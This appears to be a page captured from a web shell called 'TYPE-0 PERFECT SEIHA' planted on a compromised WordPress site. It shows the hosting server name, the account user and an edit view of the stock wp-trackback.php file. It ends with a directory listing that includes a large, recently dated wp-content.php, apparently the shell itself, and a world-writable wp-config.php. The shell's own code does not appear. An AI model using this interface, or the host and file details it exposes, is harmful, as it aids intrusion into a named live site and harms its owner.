TYPE-0 PERFECT SEIHA

Server Info: Linux sv152.xbiz.ne.jp 5.4.0-216-bet02-generic #236-Ubuntu SMP Thu Oct 2 15:14:18 JST 2025 x86_64
Software: Apache
User: xb531532

Edit File: /home/xb531532/kobehoumu.jp/public_html/wp-trackback.php

<?php
/**
 * Handle Trackbacks and Pingbacks Sent to WordPress
 *
 * @since 0.71
 *
 * @package WordPress
 * @subpackage Trackbacks
 */

if ( empty( $wp ) ) {
	require_once __DIR__ . '/wp-load.php';
	wp( array( 'tb' => '1' ) );
}

// Always run as an unauthenticated user.
wp_set_current_user( 0 );

/**
 * Response to a trackback.
 *
 * Responds with an error or success XML message.
 *
 * @since 0.71
 *
 * @param int|bool $error         Whether there was an error.
 *                                Default '0'. Accepts '0' or '1', true or false.
 * @param string   $error_message Error message if an error occurred.
 */
function trackback_response( $error = 0, $error_message = '' ) {
	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );
	if ( $error ) {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>1</error>\n";
		echo "<message>$error_message</message>\n";
		echo '</response>';
		die();
	} else {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>0</error>\n";
		echo '</response>';
	}
}

// Trackback is done by a POST.
$request_array = 'HTTP_POST_VARS';

if ( ! isset( $_GET['tb_id'] ) || ! $_GET['tb_id'] ) {
	$tb_id = explode( '/', $_SERVER['REQUEST_URI'] );
	$tb_id = (int) $tb_id[ count( $tb_id ) - 1 ];
}

$tb_url  = isset( $_POST['url'] ) ? $_POST['url'] : '';
$charset = isset( $_POST['charset'] ) ? $_POST['charset'] : '';

// These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
$title     = isset( $_POST['title'] ) ? wp_unslash( $_POST['title'] ) : '';
$excerpt   = isset( $_POST['excerpt'] ) ? wp_unslash( $_POST['excerpt'] ) : '';
$blog_name = isset( $_POST['blog_name'] ) ? wp_unslash( $_POST['blog_name'] ) : '';

if ( $charset ) {
	$charset = str_replace( array( ',', ' ' ), '', strtoupper( trim( $charset ) ) );
} else {
	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
}

// No valid uses for UTF-7.
if ( false !== strpos( $charset, 'UTF-7' ) ) {
	die;
}

// For international trackbacks.
if ( function_exists( 'mb_convert_encoding' ) ) {
	$title     = mb_convert_encoding( $title, get_option( 'blog_charset' ), $charset );
	$excerpt   = mb_convert_encoding( $excerpt, get_option( 'blog_charset' ), $charset );
	$blog_name = mb_convert_encoding( $blog_name, get_option( 'blog_charset' ), $charset );
}

// Now that mb_convert_encoding() has been given a swing, we need to escape these three.
$title     = wp_slash( $title );
$excerpt   = wp_slash( $excerpt );
$blog_name = wp_slash( $blog_name );

if ( is_single() || is_page() ) {
	$tb_id = $posts[0]->ID;
}

if ( ! isset( $tb_id ) || ! (int) $tb_id ) {
	trackback_response( 1, __( 'I really need an ID for this to work.' ) );
}

if ( empty( $title ) && empty( $tb_url ) && empty( $blog_name ) ) {
	// If it doesn't look like a trackback at all.
	wp_redirect( get_permalink( $tb_id ) );
	exit;
}

if ( ! empty( $tb_url ) && ! empty( $title ) ) {
	/**
	 * Fires before the trackback is added to a post.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $tb_id     Post ID related to the trackback.
	 * @param string $tb_url    Trackback URL.
	 * @param string $charset   Character Set.
	 * @param string $title     Trackback Title.
	 * @param string $excerpt   Trackback Excerpt.
	 * @param string $blog_name Blog Name.
	 */
	do_action( 'pre_trackback_post', $tb_id, $tb_url, $charset, $title, $excerpt, $blog_name );

header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

if ( ! pings_open( $tb_id ) ) {
		trackback_response( 1, __( 'Sorry, trackbacks are closed for this item.' ) );
	}

$title   = wp_html_excerpt( $title, 250, '&#8230;' );
	$excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );

$comment_post_ID      = (int) $tb_id;
	$comment_author       = $blog_name;
	$comment_author_email = '';
	$comment_author_url   = $tb_url;
	$comment_content      = "<strong>$title</strong>\n\n$excerpt";
	$comment_type         = 'trackback';

$dupe = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url ) );
	if ( $dupe ) {
		trackback_response( 1, __( 'We already have a ping from that URL for this post.' ) );
	}

$commentdata = compact( 'comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type' );

$result = wp_new_comment( $commentdata );

if ( is_wp_error( $result ) ) {
		trackback_response( 1, $result->get_error_message() );
	}

$trackback_id = $wpdb->insert_id;

/**
	 * Fires after a trackback is added to a post.
	 *
	 * @since 1.2.0
	 *
	 * @param int $trackback_id Trackback ID.
	 */
	do_action( 'trackback_post', $trackback_id );
	trackback_response( 0 );
}

Name	Size	Permissions	Modified	User/Group
wp-config-sample.php	4068	0644	2022-03-11 06:57:07	xb531532/members
readme.html	7346	0644	2025-10-01 06:37:15	xb531532/members
license.txt	19915	0644	2022-03-11 06:57:07	xb531532/members
wp-settings.php	22297	0604	2022-01-14 05:34:07	xb531532/members
wp-load.php	3900	0604	2022-01-14 05:34:08	xb531532/members
wp-signup.php	31693	0604	2022-01-14 05:34:08	xb531532/members
wp-login.php	47146	0604	2025-04-28 03:27:00	xb531532/members
wp-comments-post.php	2328	0604	2022-01-14 05:34:08	xb531532/members
wp-activate.php	7165	0604	2022-01-14 05:34:08	xb531532/members
wp-trackback.php	4816	0644	2022-10-18 06:14:17	xb531532/members
wp-cron.php	3939	0604	2022-01-14 05:34:08	xb531532/members
xmlrpc.php	3236	0604	2022-01-14 05:34:09	xb531532/members
wp-mail.php	8454	0644	2022-10-18 06:14:17	xb531532/members
wp-links-opml.php	2496	0604	2022-01-14 05:34:09	xb531532/members
wp-blog-header.php	351	0604	2022-01-14 05:34:09	xb531532/members
index.php	405	0604	2022-01-14 05:34:09	xb531532/members
wp-content	-	0705	2025-12-27 00:10:03	xb531532/members
wp-includes	-	0705	2025-12-27 00:10:04	xb531532/members
wp-admin	-	0705	2025-12-27 00:10:04	xb531532/members
wp-config.php	4285	0666	2022-01-14 05:46:04	xb531532/members
favicon.ico	15086	0604	2022-01-31 14:38:21	xb531532/members
BingSiteAuth.xml	85	0604	2022-01-31 14:49:26	xb531532/members
wp-content.php	194679	0644	2025-12-27 00:10:03	xb531532/members